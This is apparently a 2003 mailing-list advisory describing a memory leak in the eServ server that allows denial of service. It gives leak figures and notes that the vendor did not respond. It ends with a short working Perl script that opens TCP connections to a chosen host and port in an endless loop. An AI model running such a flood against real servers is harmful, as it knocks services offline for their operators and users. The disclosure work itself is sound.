

[VulnWatch] eServ Memory Leak Enables Denial of Service Attacks

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-05/0015.html>

From: Matthew Murphy (mattmurphy_at_kc.rr.com)

Date: 05/11/03

To: "BugTraq" <bugtraq@securityfocus.com>, "Full Disclosure" <full-disclosure@lists.netsys.com>, Date: Sun, 11 May 2003 11:21:43 -0500

eServ Memory Leak Enables Denial of Service Attacks

I. Product Description

eServ is a hybrid Web server (HTTP), FTP server, mail server (POP3, SMTP, Finger), news server (NNTP), and proxy server. It provides all these services in a single package, so that administrators are not required to run multiple different packages to support these protocols.

II. Vulnerability Description

eServ's connection handling routine contains a memory leak that may be exploited to cause the eServ daemon to become unavailable. Upon receiving a connection, the server allocates a block of memory on the heap between 8 and 32 kilobytes in size. The reason for this size variance was not isolated. This block of memory is not freed on disconnect, leading it to leak. After several thousand successful connections, memory use on the system becomes exceedingly high. If memory use on the system becomes excessively high, the system may become unusable.

III. Impact

An attacker who can repeatedly establish connections with the eServ daemon can cause services running on the vulnerable system (including other services outside of eServ's process) to fail. The vulnerability can actually be exploited by accident on high-traffic sites -- each connection causes a leak. After about 1,000 connections, anywhere between 7.81 MB and 31.25 MB may leak.

To deprive an average server system of resources to the point of failure, a significant number of connections is required. After 10,000 connections, 78.1 MB to 312.5 MB may leak; in my experience, about 50,000 connections is sufficient to cause system failure. At this point, 390.5 MB to 1.52 GB has leaked.

IV. Vendor Contact

I attempted to contact the vendor via info@eserv.ru and support@eserv.ru. The former address bounced, and no response was received from the second contact attempt. eServ has a horrible security record, and I recommend using a production server for internet sites.

V. Exploit

```
#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner. You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe --- stop with CTRL+C\r\n";
while (1) {
    $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
    undef $f;
}
```